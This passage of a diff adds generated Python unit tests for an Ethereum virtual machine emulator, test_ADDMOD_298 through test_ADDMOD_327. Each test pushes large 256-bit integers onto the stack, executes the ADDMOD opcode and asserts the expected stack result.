+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718928L])
+
+    def test_ADDMOD_298(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [63L])
+
+    def test_ADDMOD_299(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADDMOD_300(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [33L])
+
+    def test_ADDMOD_301(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADDMOD_302(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301295L])
+
+    def test_ADDMOD_303(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_ADDMOD_304(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [64L])
+
+    def test_ADDMOD_305(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [80L])
+
+    def test_ADDMOD_306(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718944L])
+
+    def test_ADDMOD_307(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [79L])
+
+    def test_ADDMOD_308(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_ADDMOD_309(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [49L])
+
+    def test_ADDMOD_310(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_ADDMOD_311(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301311L])
+
+    def test_ADDMOD_312(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [64L])
+
+    def test_ADDMOD_313(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [80L])
+
+    def test_ADDMOD_314(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [96L])
+
+    def test_ADDMOD_315(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718960L])
+
+    def test_ADDMOD_316(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718943L])
+
+    def test_ADDMOD_317(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_ADDMOD_318(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718913L])
+
+    def test_ADDMOD_319(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_ADDMOD_320(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281527586710570232449627116313036034012829185020175L])
+
+    def test_ADDMOD_321(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718928L])
+
+    def test_ADDMOD_322(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718944L])
+
+    def test_ADDMOD_323(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718960L])
+
+    def test_ADDMOD_324(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [12179180311090857651697373605969025163799437824L])
+
+    def test_ADDMOD_325(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285300301L])
+
+    def test_ADDMOD_326(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285300782L])
+
+    def test_ADDMOD_327(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
